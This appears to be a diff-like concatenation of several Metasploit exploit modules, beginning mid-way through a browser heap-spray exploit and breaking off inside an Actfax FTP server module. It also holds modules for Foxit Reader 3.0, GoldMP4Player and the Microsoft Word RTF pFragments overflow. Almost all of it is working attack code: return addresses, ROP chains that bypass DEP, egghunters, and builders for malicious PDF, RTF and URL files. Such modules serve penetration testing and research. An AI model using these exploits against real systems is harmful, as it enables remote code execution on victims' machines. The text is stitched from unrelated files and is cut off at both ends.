while (ovr.length < 0x52) {
|
||||
ovr += unescape("%uffa0%u7f3e");
|
||||
}
|
||||
|
||||
// Begin WP Sayonara
|
||||
ovr += unescape("%u4cc1%u7c34");
|
||||
ovr += unescape("%u10c2%u7c34");
|
||||
ovr += unescape("%u2462%u7c34");
|
||||
ovr += unescape("%uc510%u7c38"); // location to VP?
|
||||
ovr += unescape("%u5645%u7c36");
|
||||
ovr += unescape("%u5243%u7c34");
|
||||
ovr += unescape("%u8f46%u7c34");
|
||||
ovr += unescape("%u87ec%u7c34");
|
||||
ovr += unescape("%u4cc1%u7c34");
|
||||
ovr += unescape("%ufff0%ufffe"); // Size (neg'ed to 0x10000)
|
||||
ovr += unescape("%ud749%u7c34");
|
||||
ovr += unescape("%u58aa%u7c34");
|
||||
ovr += unescape("%u39fa%u7c34");
|
||||
ovr += unescape("%uffc0%uffff"); // Flag
|
||||
ovr += unescape("%u1eb1%u7c35");
|
||||
ovr += unescape("%u4648%u7c35");
|
||||
ovr += unescape("%u30ea%u7c35");
|
||||
ovr += unescape("%u4cc1%u7c34");
|
||||
ovr += unescape("%ua181%u7c37");
|
||||
ovr += unescape("%u5aeb%u7c35");
|
||||
ovr += unescape("%u8c81%u7c37");
|
||||
ovr += unescape("%u683f%u7c36");
|
||||
|
||||
// Jump back to the egghunter
|
||||
ovr += unescape("%u3366%u83e4");
|
||||
ovr += unescape("%u14c4%ue4ff");
|
||||
|
||||
while (ovr.length < 1014) {
|
||||
ovr += unescape("%uffa0%u7f3e"); // Should point to Padding 1 in fake header - 0x6c
|
||||
}
|
||||
|
||||
ovr += unescape("%u0108%u0080"); // Flags, going with 00800108
|
||||
ovr += unescape("%u0400%u0000"); // Size
|
||||
ovr += unescape("%u0014%u7f2f"); // Memcpy src, must be a valid address
|
||||
ovr += unescape("#{rop_ss}"); // ROP Gadget - 0x6D01cdbb from awt.dll
|
||||
ovr += unescape("%uffa0%u7f3e"); // Padding
|
||||
|
||||
for (var i = 0; i < 64; i++) {
|
||||
// pad to 0x10000 to keep alignment
|
||||
str += ovr;
|
||||
}
|
||||
|
||||
for (var i = 0; i < ((1<<16) + 0x2); i++){
|
||||
var txt = document.createTextNode(str);
|
||||
styleElement.appendChild(txt);
|
||||
}
|
||||
|
||||
document.getElementsByTagName('head')[0].appendChild(styleElement);
|
||||
}
|
||||
|
||||
setTimeout(#{exp_func}, 10);
|
||||
|
||||
</script>
|
||||
</head>
|
||||
<body>
|
||||
</body>
|
||||
</html>
|
||||
EOS
|
||||
send_response(cli, html, { 'Content-Type' => 'text/html' })
|
||||
end
|
||||
|
||||
# Handle the payload
|
||||
handler(cli)
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,117 @@
|
||||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'zlib'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = GoodRanking
|
||||
|
||||
include Msf::Exploit::FILEFORMAT
|
||||
include Msf::Exploit::PDF
|
||||
include Msf::Exploit::Egghunter
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Foxit Reader 3.0 Open Execute Action Stack Based Buffer Overflow',
|
||||
'Description' => %q{
|
||||
This module exploits a stack based buffer overflow in Foxit Reader 3.0 builds 1301 and earlier.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'bannedit', # Metasploit module
|
||||
],
|
||||
'Version' => '$Revision$',
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE' , '2009-0837' ],
|
||||
[ 'OSVDB', '55614' ],
|
||||
[ 'BID', '34035'],
|
||||
[ 'URL', 'http://www.coresecurity.com/content/foxit-reader-vulnerabilities'],
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'process',
|
||||
'DisablePayloadHandler' => 'true',
|
||||
},
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 316,
|
||||
'BadChars' => "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0d\x22\x28\x29\x2F\x5c\x3c\x3e\x5e\x7e"
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Foxit Reader 3.0 Windows XP SP3', { 'Ret' => 0x01847e7a} ], # ebp + offset
|
||||
],
|
||||
'DisclosureDate' => 'Mar 09 2009',
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options([
|
||||
OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),
|
||||
], self.class)
|
||||
|
||||
end
|
||||
|
||||
def exploit
|
||||
pdf = make_pdf
|
||||
file_create(pdf)
|
||||
handler
|
||||
end
|
||||
|
||||
def make_pdf
|
||||
hunter, egg = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })
|
||||
|
||||
action = "\n<</Type/Action/S/Launch/F<</F(/C/" # Open Execute Action
|
||||
action << make_nops(21)
|
||||
action << hunter
|
||||
action << rand_text_alpha(1270)
|
||||
action << [target['Ret']].pack('V') * 2
|
||||
action << egg
|
||||
action << ")>>/NewWindow true>>"
|
||||
|
||||
pdf = "%PDF-1.4\n"
|
||||
pdf << "1 0 obj\n"
|
||||
pdf << "<</Type/Page/Parent 4 0 R /Resources 6 0 R /MediaBox[ 0 0 000 000]"
|
||||
pdf << "/Group<</S/Transparency/CS/DeviceRGB/I true>>/Contents 2 0 R "
|
||||
pdf << "/Annots[ 24 0 R 25 0 R 9 0 R ]>>\n"
|
||||
pdf << "endobj\n"
|
||||
pdf << "4 0 obj\n"
|
||||
pdf << "<</Type/Pages/Resources 6 0 R /MediaBox[ 0 0 000 000]/Kids[ 1 0 R ]/Count 1>>\n"
|
||||
pdf << "endobj\n"
|
||||
pdf << "7 0 obj\n"
|
||||
pdf << "<</Type/Catalog/Pages 4 0 R /OpenAction[ 1 0 R /XYZ null null 0]/Lang(en-US)/Names 28 0 R >>\n"
|
||||
pdf << "endobj\n"
|
||||
pdf << "9 0 obj\n"
|
||||
pdf << "<</Type/Annot/Subtype/Screen/P 1 0 R /M(E:000000000000000-00'00')/F 4/Rect[ "
|
||||
pdf << "000.000 000.000 000.000 000.000]/BS<</S/S/W 1>>/BE<</S/S>>/MK<</BC[ 0 0 1]"
|
||||
pdf << "/R 0/IF<</SW/A/S/A/FB false/A[ 0.5 0.5]>>>>/AP<</N 10 0 R >>/T()/A 12 0 R /AA 17 0 R >>\n"
|
||||
pdf << "endobj\n"
|
||||
pdf << "16 0 obj\n"
|
||||
pdf << action
|
||||
pdf << "endobj\n"
|
||||
pdf << "17 0 obj\n"
|
||||
pdf << "<</PV 16 0 R >>\n"
|
||||
pdf << "endobj\n"
|
||||
pdf << "trailer\n"
|
||||
pdf << "<</Root 7 0 R /Info 8 0 R /ID[<00000000000000000000000000000000><00000000000000000000000000000000>]"
|
||||
pdf << "/DocChecksum/00000000000000000000000000000000/Size 31>>\n"
|
||||
pdf << "startxref\n"
|
||||
pdf << "0000\n"
|
||||
pdf << "%%EOF\n"
|
||||
pdf
|
||||
end
|
||||
end
|
||||
|
||||
=begin
|
||||
https://dev.metasploit.com/redmine/issues/5854
|
||||
=end
|
||||
@@ -0,0 +1,90 @@
|
||||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::FILEFORMAT
|
||||
include Msf::Exploit::Remote::Seh
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'GoldMP4Player URL Buffer Overflow',
|
||||
'Description' => %q{
|
||||
This module exploits a stack-based buffer overflow vulnerability in
|
||||
GoldMP4Player 3.3, caused by improper bounds checking of a URL.
|
||||
By persuading the victim to copy the specially-crafted URL from the
|
||||
resulting file and paste it into the Open Flash URL window, a remote
|
||||
attacker could execute arbitrary code on the system or cause the
|
||||
application to crash. This module has been tested successfully on
|
||||
Windows XP SP3 and Windows 7 SP1.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Gabor Seljan' # Vulnerability discovery and Metasploit module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'BID', '65855' ],
|
||||
[ 'EDB', '31914' ],
|
||||
[ 'EDB', '31972' ],
|
||||
[ 'OSVDB', '103826' ]
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'ExitFunction' => 'process',
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Payload' =>
|
||||
{
|
||||
'BadChars' => ((0..0xff).to_a - (0x21..0x7e).to_a).pack("C*"),
|
||||
'Space' => 6400,
|
||||
'DisableNops' => true,
|
||||
'PrependEncoder' => "\x59\x59\x59\x59\x5C\x61\x59\x59\x59\x59\x59\x41\x41\x41\x41",
|
||||
'EncoderOptions' =>
|
||||
{
|
||||
'BufferRegister' => 'ESP'
|
||||
},
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Windows XP SP3 / Windows 7 SP1',
|
||||
{
|
||||
'Offset' => 253,
|
||||
'Ret' => 0x10104544 # POP EBP # POP EBX # RETN [SkinPlusPlus.dll]
|
||||
}
|
||||
]
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => 'Feb 27 2014',
|
||||
'DefaultTarget' => 0
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('FILENAME', [ false, 'The file name.', 'msf.txt'])
|
||||
],
|
||||
self.class)
|
||||
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
||||
sploit = rand_text_alpha(target['Offset'])
|
||||
sploit << "\x4b\x4b\x77\x21"
|
||||
sploit << [target.ret].pack('V')
|
||||
sploit << rand_text_alpha(29)
|
||||
sploit << payload.encoded
|
||||
|
||||
# Create the file
|
||||
print_status("Creating '#{datastore['FILENAME']}' file ...")
|
||||
file_create("http://#{sploit}.swf")
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
+314
@@ -0,0 +1,314 @@
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = GreatRanking
|
||||
|
||||
include Msf::Exploit::FILEFORMAT
|
||||
include Msf::Exploit::Seh
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Microsoft Word RTF pFragments Stack Buffer Overflow (File Format)',
|
||||
'Description' => %q{
|
||||
This module exploits a stack-based buffer overflow in the handling of the
|
||||
'pFragments' shape property within the Microsoft Word RTF parser. All versions
|
||||
of Microsoft Office 2010, 2007, 2003, and XP prior to the release of the
|
||||
MS10-087 bulletin are vulnerable.
|
||||
|
||||
This module does not attempt to exploit the vulnerability via Microsoft Outlook.
|
||||
|
||||
The Microsoft Word RTF parser was only used by default in versions of Microsoft
|
||||
Word itself prior to Office 2007. With the release of Office 2007, Microsoft
|
||||
began using the Word RTF parser, by default, to handle rich-text messages within
|
||||
Outlook as well. It was possible to configure Outlook 2003 and earlier to use
|
||||
the Microsoft Word engine too, but it was not a default setting.
|
||||
|
||||
It appears as though Microsoft Office 2000 is not vulnerable. It is unlikely that
|
||||
Microsoft will confirm or deny this since Office 2000 has reached its support
|
||||
cycle end-of-life.
|
||||
|
||||
The Office 2010 windows 7 target requires that the victim has winword.exe open
|
||||
for a few seconds before they open the file. The file still can be double clicked
|
||||
if winword.exe has been opened for said time ;)
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'wushi of team509', # original discovery
|
||||
'unknown', # exploit found in the wild
|
||||
'jduck', # Metasploit module
|
||||
'DJ Manila Ice, Vesh, CA', # more office 2007 for the lulz
|
||||
'snake', # public office 2010 poc
|
||||
'mr_me', # 2010 target msf port
|
||||
'TecR0c' # 2010 target msf port
|
||||
],
|
||||
'Version' => '$Revision$',
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2010-3333' ],
|
||||
[ 'OSVDB', '69085' ],
|
||||
[ 'MSB', 'MS10-087' ],
|
||||
[ 'BID', '44652' ],
|
||||
[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=880' ],
|
||||
[ 'URL', 'http://www.exploit-db.com/exploits/17474/' ] #tx snake
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'process',
|
||||
},
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 512,
|
||||
'BadChars' => "\x00",
|
||||
'DisableNops' => true # no need (fixed tx to jduck)
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
# This automatic target will combine all targets into one file :)
|
||||
[ 'Automatic', { } ],
|
||||
|
||||
# Office v10.6854.6845, winword.exe v10.0.6854.0
|
||||
[ 'Microsoft Office 2002 SP3 English on Windows XP SP3 English',
|
||||
{
|
||||
'Offsets' => [ 23532, 45944 ],
|
||||
#'Ret' => 0x30002491 # p/p/r in winword.exe v10.0.6854.0
|
||||
'Ret' => 0x30002309 # p/p/r in winword.exe v10.0.6866.0
|
||||
}
|
||||
],
|
||||
|
||||
# Office v11.8307.8324, winword.exe v11.0.8307.0
|
||||
# Office v11.8328.8221, winword.exe v11.0.8328.0
|
||||
[ 'Microsoft Office 2003 SP3 English on Windows XP SP3 English',
|
||||
{
|
||||
'Offsets' => [ 24580, 51156 ],
|
||||
'Ret' => 0x30001bdd # p/p/r in winword.exe
|
||||
}
|
||||
],
|
||||
|
||||
# In order to exploit this bug on Office 2007, a SafeSEH bypass method is needed.
|
||||
|
||||
# Office v12.0.6425.1000, winword.exe v12.0.6425.1000
|
||||
[ 'Microsoft Office 2007 SP0 English on Windows XP SP3 English',
|
||||
{
|
||||
'Offsets' => [ 5956 ],
|
||||
'Ret' => 0x00290b0b # call ptr to ebp + 30, hits the next record
|
||||
}
|
||||
],
|
||||
|
||||
[ 'Microsoft Office 2007 SP0 English on Windows Vista SP0 English',
|
||||
{
|
||||
'Offsets' => [ 5956 ],
|
||||
'Ret' => 0x78812890 # p/p/r in msxml5.dll which wasn't opted into SafeSEH. say word.
|
||||
}
|
||||
],
|
||||
|
||||
[ 'Microsoft Office 2007 SP0 English on Windows 7 SP0 English',
|
||||
{
|
||||
'Offsets' => [ 5952 ],
|
||||
'Ret' => 0x78812890 # p/p/r in msxml5.dll which wasn't opted into SafeSEH. say word.
|
||||
}
|
||||
],
|
||||
|
||||
# WINWORD.EXE v14.0.4762.1000
|
||||
[ 'Microsoft Office 2010 SP0 English on Windows XP SP3 English',
|
||||
{
|
||||
'Offsets' => [ 5942 ],
|
||||
'Ret' => 0x4384fc83 # pop eax; retn [gfx.dll].
|
||||
}
|
||||
],
|
||||
|
||||
# WINWORD.EXE v14.0.4762.1000
|
||||
[ 'Microsoft Office 2010 SP0 English on Windows 7 SP0 English',
|
||||
{
|
||||
'Offsets' => [ 5942 ],
|
||||
'Ret' => 0x3f39a603 # pop ecx; retn [MSGR3EN.DLL].
|
||||
}
|
||||
],
|
||||
|
||||
# crash on a deref path to heaven.
|
||||
[ 'Crash Target for Debugging',
|
||||
{
|
||||
'Offsets' => [ 65535 ],
|
||||
'Ret' => 0xdac0ffee
|
||||
}
|
||||
]
|
||||
],
|
||||
'DisclosureDate' => 'Nov 09 2010',
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('FILENAME', [ true, 'The file name.', 'msf.rtf']),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def add_target(rest, targ)
|
||||
targ['Offsets'].each { |off|
|
||||
seh = generate_seh_record(targ.ret)
|
||||
rest[off, seh.length] = seh
|
||||
distance = off + seh.length
|
||||
jmp_back = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string
|
||||
rest[off + seh.length, jmp_back.length] = jmp_back
|
||||
}
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
||||
# RTF property Array parameters
|
||||
el_size = sz_rand()
|
||||
el_count = sz_rand()
|
||||
|
||||
if target.name =~ /Office 2010 SP0/
|
||||
|
||||
if target.name =~ /on Windows 7 SP0 English/
|
||||
|
||||
# C:\Program Files\Microsoft Office\OFFICE14\PROOF\1033\MSGR3EN.DLL v3.1.0.15506
|
||||
# loaded by default under windows 7 (not loaded at all under XP)
|
||||
rop_gadgets =
|
||||
[
|
||||
0x3f101108, # <- *&VirtualProtect()
|
||||
0x3f389ca5, # MOV EAX,DWORD PTR DS:[ECX] # RETN (MSGR3EN.DLL)
|
||||
0x3f3094ef, # XCHG EAX,ESI # RETN (MSGR3EN.DLL)
|
||||
0x3f3a1602, # POP EBP # RETN (MSGR3EN.DLL)
|
||||
0x3f2c8964, # ptr to 'jmp esp' (from MSGR3EN.DLL)
|
||||
0x3f39d705, # POP EAX # RETN (MSGR3EN.DLL)
|
||||
0xfffffdff, # value to negate, target value : 0x00000201, target reg : ebx
|
||||
0x3f38e9b7, # NEG EAX # RETN (MSGR3EN.DLL)
|
||||
0x3f2e1725, # XCHG EAX,EBX # RETN (MSGR3EN.DLL)
|
||||
0x3f39a603, # POP ECX # RETN (MSGR3EN.DLL)
|
||||
0x3f3b0101, # RW pointer (lpOldProtect) (-> ecx)
|
||||
0x3f3967f3, # POP EDI # RETN (MSGR3EN.DLL)
|
||||
0x3f3967f4, # ROP NOP (-> edi)
|
||||
0x3f39d705, # POP EAX # RETN (MSGR3EN.DLL)
|
||||
0xffffffc0, # value to negate, target value : 0x00000040, target reg : edx
|
||||
0x3f38e9b7, # NEG EAX # RETN (MSGR3EN.DLL)
|
||||
0x3f2ef6bf, # XCHG EAX,EDX # RETN (MSGR3EN.DLL)
|
||||
0x3f39d705, # POP EAX # RETN (MSGR3EN.DLL)
|
||||
0x90909090, # NOPS (-> eax)
|
||||
0x3f2ca585, # PUSHAD # RETN (MSGR3EN.DLL)
|
||||
].pack("V*")
|
||||
|
||||
# no aslr? no worries!
|
||||
# C:\Program Files\Microsoft Office\Office14\GFX.DLL v14.0.4750.1000
|
||||
elsif target.name =~ /on Windows XP SP3 English/
|
||||
|
||||
rop_gadgets =
|
||||
[
|
||||
0x437a10c4, # <- *&VirtualProtect()
|
||||
0x43841201, # MOV EAX,DWORD PTR DS:[EAX] # RETN (gfx.dll)
|
||||
0x437b018b, # XCHG EAX,ESI # RETN (gfx.dll)
|
||||
0x438cc07d, # POP EBP # RETN (gfx.dll)
|
||||
0x4383189c, # ptr to 'jmp esp' (from gfx.dll)
|
||||
0x4384fc83, # POP EAX # RETN (gfx.dll)
|
||||
0xfffffdff, # value to negate, target value : 0x00000201, target reg : ebx
|
||||
0x43841430, # NEG EAX # RETN (gfx.dll)
|
||||
0x437b03bb, # XCHG EAX,EBX # RETN (gfx.dll)
|
||||
0x4390be09, # POP ECX # RETN (gfx.dll)
|
||||
0x43916001, # RW pointer (lpOldProtect) (-> ecx)
|
||||
0x4382d280, # POP EDI # RETN (gfx.dll)
|
||||
0x4382d281, # ROP NOP (-> edi)
|
||||
0x4384fc83, # POP EAX # RETN (gfx.dll)
|
||||
0xffffffc0, # value to negate, target value : 0x00000040, target reg : edx
|
||||
0x43841430, # NEG EAX # RETN (gfx.dll)
|
||||
0x438ebaea, # XCHG EAX,EDX # INC EBX # RETN (gfx.dll)
|
||||
0x4384fc83, # POP EAX # RETN (gfx.dll)
|
||||
0x90909090, # NOPS (-> eax)
|
||||
0x4382b783, # PUSHAD # RETN (gfx.dll)
|
||||
].pack("V*")
|
||||
|
||||
end
|
||||
|
||||
data = ""
|
||||
# These words are presumably incorrectly used
|
||||
# assert(amount1 <= amount2)
|
||||
data << [0xffff].pack('v') * 2
|
||||
data << [0x05ff].pack('v')
|
||||
|
||||
# eip overwrite
|
||||
rest = rand_text_alpha_upper(20)
|
||||
rest << [target.ret].pack("V*")
|
||||
rest << rand_text_alpha_upper(20)
|
||||
rest << rop_gadgets
|
||||
rest << make_nops(512-payload.encoded.length)
|
||||
rest << payload.encoded
|
||||
|
||||
else
|
||||
|
||||
# Prepare a sample SEH frame and backward jmp for length calculations
|
||||
seh = generate_seh_record(0xdeadbeef)
|
||||
jmp_back = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-0xffff").encode_string
|
||||
|
||||
data = ''
|
||||
# These words are presumably incorrectly used
|
||||
# assert(amount1 <= amount2)
|
||||
data << [0x1111].pack('v') * 2
|
||||
data << [0xc8ac].pack('v')
|
||||
|
||||
# Filler
|
||||
if target.name =~ /Debug/i
|
||||
rest = Rex::Text.pattern_create(0x10000 + seh.length + jmp_back.length)
|
||||
else
|
||||
len = 51200 + rand(1000)
|
||||
rest = rand_text(len + seh.length + jmp_back.length)
|
||||
rest[0, payload.encoded.length] = payload.encoded
|
||||
end
|
||||
|
||||
# Stick fake SEH frames here and there ;)
|
||||
if target.name == "Automatic"
|
||||
targets.each { |t|
|
||||
next if t.name !~ /Windows/i
|
||||
|
||||
add_target(rest, t)
|
||||
}
|
||||
else
|
||||
add_target(rest, target)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
# Craft the array for the property value
|
||||
sploit = "%d;%d;" % [el_size, el_count]
|
||||
sploit << data.unpack('H*').first
|
||||
sploit << rest.unpack('H*').first
|
||||
|
||||
# last minute clean up ;)
|
||||
if target.name =~ /Office 2010 SP0/
|
||||
# payload offset
|
||||
sploit << "0"
|
||||
# must be using uppercase
|
||||
sploit[64, 40] = rand_text_alpha_upper(40)
|
||||
end
|
||||
|
||||
# Assemble it all into a nice RTF
|
||||
content = "{\\rtf1"
|
||||
content << "{\\shp" # shape
|
||||
content << "{\\sp" # shape property
|
||||
content << "{\\sn pFragments}" # property name
|
||||
content << "{\\sv #{sploit}}" # property value
|
||||
content << "}"
|
||||
content << "}"
|
||||
content << "}"
|
||||
|
||||
print_status("Creating '#{datastore['FILENAME']}' file ...")
|
||||
file_create(content)
|
||||
|
||||
end
|
||||
|
||||
|
||||
def sz_rand
|
||||
bad_sizes = [ 0, 2, 4, 8 ]
|
||||
x = rand(9)
|
||||
while bad_sizes.include? x
|
||||
x = rand(9)
|
||||
end
|
||||
x
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,187 @@
|
||||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = GreatRanking
|
||||
|
||||
include Msf::Exploit::Remote::Ftp
|
||||
include Msf::Exploit::Remote::Egghunter
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Actfax FTP Server <= v4.27 USER Command Stack Buffer Overflow',
|
||||
'Description' => %q{
|
||||
This module exploits a stack-based buffer overflow in actfax ftp Server
|
||||
version 4.27 and earlier. Actfax fails to check input size when parsing 'USER' command.
|
||||
This vulnerability results in arbitray code execution. This module has been designed to
|
||||
bypass DEP under Windows Server 2003 SP2/R2.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'mr_me - twitter.com/net__ninja & mrme.mythsec<at>gmail.com', # found/wrote msf module
|
||||
'chap0 - chap0.mythsec<at>gmail.com', # for the original versions
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Version' => '$Revision$',
|
||||
'References' =>
|
||||
[
|
||||
[ 'OSVDB', '72520' ],
|
||||
[ 'URL', 'http://www.exploit-db.com/exploits/16177/' ]
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'thread'
|
||||
},
|
||||
'Privileged' => false,
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 600,
|
||||
'DisableNops' => true,
|
||||
'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
# Server 2003 DEP bypass targets (fully tested)
|
||||
[ 'Windows Server 2003 + DEP bypass - NTDLL v5.2.3790.4789', { 'Ret' => 0x7C813C8F } ], # MOV ESP,EBP; POP EBP; RETN [ntdll.dll]
|
||||
[ 'Windows Server 2003 + DEP bypass - NTDLL v5.2.3790.3959', { 'Ret' => 0x7C813DE7 } ], # MOV ESP,EBP; POP EBP; RETN [ntdll.dll]
|
||||
# NON DEP Bypass target (fully tested)
|
||||
[ 'Windows XP SP3 - Universal', { 'Ret' => 0x004021C5 } ], # CALL EDI [ActSrvNT.exe]
|
||||
],
|
||||
'DisclosureDate' => 'Jul 31 2011',
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
end
|
||||
|
||||
def check
|
||||
connect
|
||||
disconnect
|
||||
|
||||
if (banner =~ /Version 4.27/ || banner =~ /Version 4.25/)
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
end
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
def get_encoded_payload(p, reg)
|
||||
encoder = framework.encoders.create("x86/alpha_mixed")
|
||||
encoder.datastore.import_options_from_hash( {'BufferRegister'=>reg} )
|
||||
rencoded_payload = encoder.encode(p, nil, nil, platform)
|
||||
return rencoded_payload
|
||||
end
|
||||
|
||||
def junk
|
||||
return rand_text_alpha(4).unpack("L")[0].to_i
|
||||
end
|
||||
|
||||
def exploit
|
||||
connect
|
||||
|
||||
if (target.name =~ /Server 2003/)
|
||||
sc = get_encoded_payload(payload.encoded, "ESP")
|
||||
|
||||
# specially aligned RETN
|
||||
rop_stage1 = "\x42\x28\x5f" # RETN [htnetcfg.dll]
|
||||
rop_stage1 += [0x5f282336].pack("V*") * 51 # RETN [htnetcfg.dll]
|
||||
|
||||
# All rop stage 1 instructions are from htnetcfg.dll
|
||||
# Tested versions 5.2.3790.3959 &
|
||||
# which seem to be universal across all windows server 2003 SP's
|
||||
rop_stage1 +=
|
||||
[
|
||||
0x5F29C7F8, # POP EAX; POP ESI; POP EBP; RETN 8
|
||||
0x5F2B5DC3, # ptr to 0x00001000
|
||||
junk, # JUNK
|
||||
0x5f29aa95, # p2p that is writable, we also -0c to accommodate
|
||||
0x5F2A32DA, # MOV EDX,DWORD PTR DS:[EAX]; JUNK; JUNK; JUNK; JUNK; JUNK; JUNK; RETN 8
|
||||
junk, # JUNK
|
||||
junk, # JUNK
|
||||
junk, # JUNK
|
||||
0x5f282336, # RETN
|
||||
junk, # JUNK
|
||||
junk, # JUNK
|
||||
].pack("V*")
|
||||
|
||||
# jump over the below stack alignment (Dont POP EDI)
|
||||
rop_stage1 += [0x5F2A345D].pack("V*") # POP ECX; POP EBP; RETN [htnetcfg.dll]
|
||||
|
||||
# rop_stage1 + stack_alignment to realign after retn address
|
||||
rop_stage1 += rand_text_alpha(1)
|
||||
stack_alignment = rand_text_alpha(3)
|
||||
|
||||
# We have to be smart on how we use gadgets.
|
||||
# Almost a universal dep bypass as most ptrs are from "ActSrvNT.exe".
|
||||
# We can use null bytes 0x00 due to character conversion of 0x20!
|
||||
# Also, we waste ~208 bytes in payload space but thanks to nulls, we are saved!
|
||||
# EDX already contains = 1000 from flAllocationType (rop_stage1)
|
||||
rop_stage2 =
|
||||
[
|
||||
0x204C2135, # POP EAX; RETN
|
||||
0x2051E1B0, # IAT -> VirtualAlloc
|
||||
0x2051D7A1, # MOV EAX,DWORD PTR DS:[EAX]; RETN
|
||||
0x2040A4A0, # POP EBX; RETN
|
||||
0x2040A4A0, # POP EBX; RETN
|
||||
0x20422E7D, # MOV ESI,EAX; CALL EBX
|
||||
0x2040F2c2, # POP EBP; POP EBX; RETN
|
||||
0x204A5DED, # JMP ESP
|
||||
0x20202120, # dwSize
|
||||
0x204C2135, # POP EAX; RETN
|
||||
0x44444444, # INC ESP before sc (getPC)
|
||||
0x20415D7A, # POP EDI; POP ECX; RETN
|
||||
0x20404A3F, # RETN
|
||||
0x20202040, # flProtect
|
||||
0x2045AB53, # PUSHAD; RETN
|
||||
].pack("V*")
|
||||
|
||||
print_status("Targeting %s" % target.name)
|
||||
sploit = rop_stage1
|
||||
sploit << [target.ret].pack("V")
|
||||
sploit << stack_alignment
|
||||
sploit << rop_stage2
|
||||
sploit << sc
|
||||
sploit << rand_text_alpha((990-sploit.length))
|
||||
|
||||
else
|
||||
eggoptions =
|
||||
{
|
||||
:checksum => false,
|
||||
:eggtag => 'lulz',
|
||||
}
|
||||
|
||||
# double encoded msf shellcode trick
|
||||
sc = get_encoded_payload(payload.encoded, "EDI")
|
||||
hunter,egg = generate_egghunter(sc, nil, eggoptions)
|
||||
|
||||
# encode our hunter
|
||||
hunter = get_encoded_payload(hunter, "EDI")
|
||||
print_status("Targeting %s" % target.name)
|
||||
print_status("Sending stage 1 exploit buffer...")
|
||||
send_cmd(['USER', 'anonymous'], true)
|
||||
send_cmd(['PASS', egg], false)
|
||||
|
||||
sploit = hunter
|
||||
sploit << rand_text_alpha(256-sploit.length)
|
||||
sploit << [target.ret].pack("V")
|
||||
|
||||
# connect again ;)
|
||||
connect
|
||||
end
|
||||
|
